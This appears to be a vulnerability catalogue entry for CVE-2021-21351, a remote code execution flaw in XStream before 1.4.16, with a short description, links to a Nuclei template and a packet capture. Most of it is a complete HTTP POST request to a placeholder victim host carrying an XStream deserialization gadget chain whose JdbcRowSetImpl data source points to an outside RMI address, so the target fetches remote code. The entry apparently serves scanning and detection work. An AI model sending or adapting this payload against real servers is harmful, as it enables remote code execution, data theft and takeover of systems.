CVE-2021-21351: XStream <1.4.16 - Remote Code Execution

🔍 Vulnerability Description

XStream before 1.4.16 is susceptible to remote code execution. An attacker can load and execute arbitrary code from a remote host via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Content-Length: 3207
Content-Type: application/xml
Accept-Encoding: gzip

<sorted-set>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>ysomap</type>

    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>

      <m__DTMXRTreeFrag>

        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>

          <m__size>-10086</m__size>

          <m__mgrDefault>

            <__overrideDefaultParser>false</__overrideDefaultParser>

            <m__incremental>false</m__incremental>

            <m__source__location>false</m__source__location>

            <m__dtms>

              <null/>

            </m__dtms>

            <m__defaultHandler/>

          </m__mgrDefault>

          <m__shouldStripWS>false</m__shouldStripWS>

          <m__indexing>false</m__indexing>

          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>

            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>

              <javax.sql.rowset.BaseRowSet>

                <default>

                  <concurrency>1008</concurrency>

                  <escapeProcessing>true</escapeProcessing>

                  <fetchDir>1000</fetchDir>

                  <fetchSize>0</fetchSize>

                  <isolation>2</isolation>

                  <maxFieldSize>0</maxFieldSize>

                  <maxRows>0</maxRows>

                  <queryTimeout>0</queryTimeout>

                  <readOnly>true</readOnly>

                  <rowSetType>1004</rowSetType>

                  <showDeleted>false</showDeleted>

                  <dataSource>rmi://d5jn5n9le0o3ig7or5i0gpxta57jn63ms.oast.live/test</dataSource>

                  <listeners/>

                  <params/>

                </default>

              </javax.sql.rowset.BaseRowSet>

              <com.sun.rowset.JdbcRowSetImpl>

                <default/>

              </com.sun.rowset.JdbcRowSetImpl>

            </fPullParserConfig>

            <fConfigSetInput>

              <class>com.sun.rowset.JdbcRowSetImpl</class>

              <name>setAutoCommit</name>

              <parameter-types>

                <class>boolean</class>

              </parameter-types>

            </fConfigSetInput>

            <fConfigParse reference='../fConfigSetInput'/>

            <fParseInProgress>false</fParseInProgress>

          </m__incrementalSAXSource>

          <m__walker>

            <nextIsRaw>false</nextIsRaw>

          </m__walker>

          <m__endDocumentOccured>false</m__endDocumentOccured>

          <m__idAttributes/>

          <m__textPendingStart>-1</m__textPendingStart>

          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>

          <m__pastFirstElement>false</m__pastFirstElement>

        </m__dtm>

        <m__dtmIdentity>1</m__dtmIdentity>

      </m__DTMXRTreeFrag>

      <m__dtmRoot>1</m__dtmRoot>

      <m__allowRelease>false</m__allowRelease>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>ysomap</type>

    <value class='com.sun.org.apache.xpath.internal.objects.XString'>

      <m__obj class='string'>test</m__obj>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

</sorted-set>

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21351.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-21351.pcap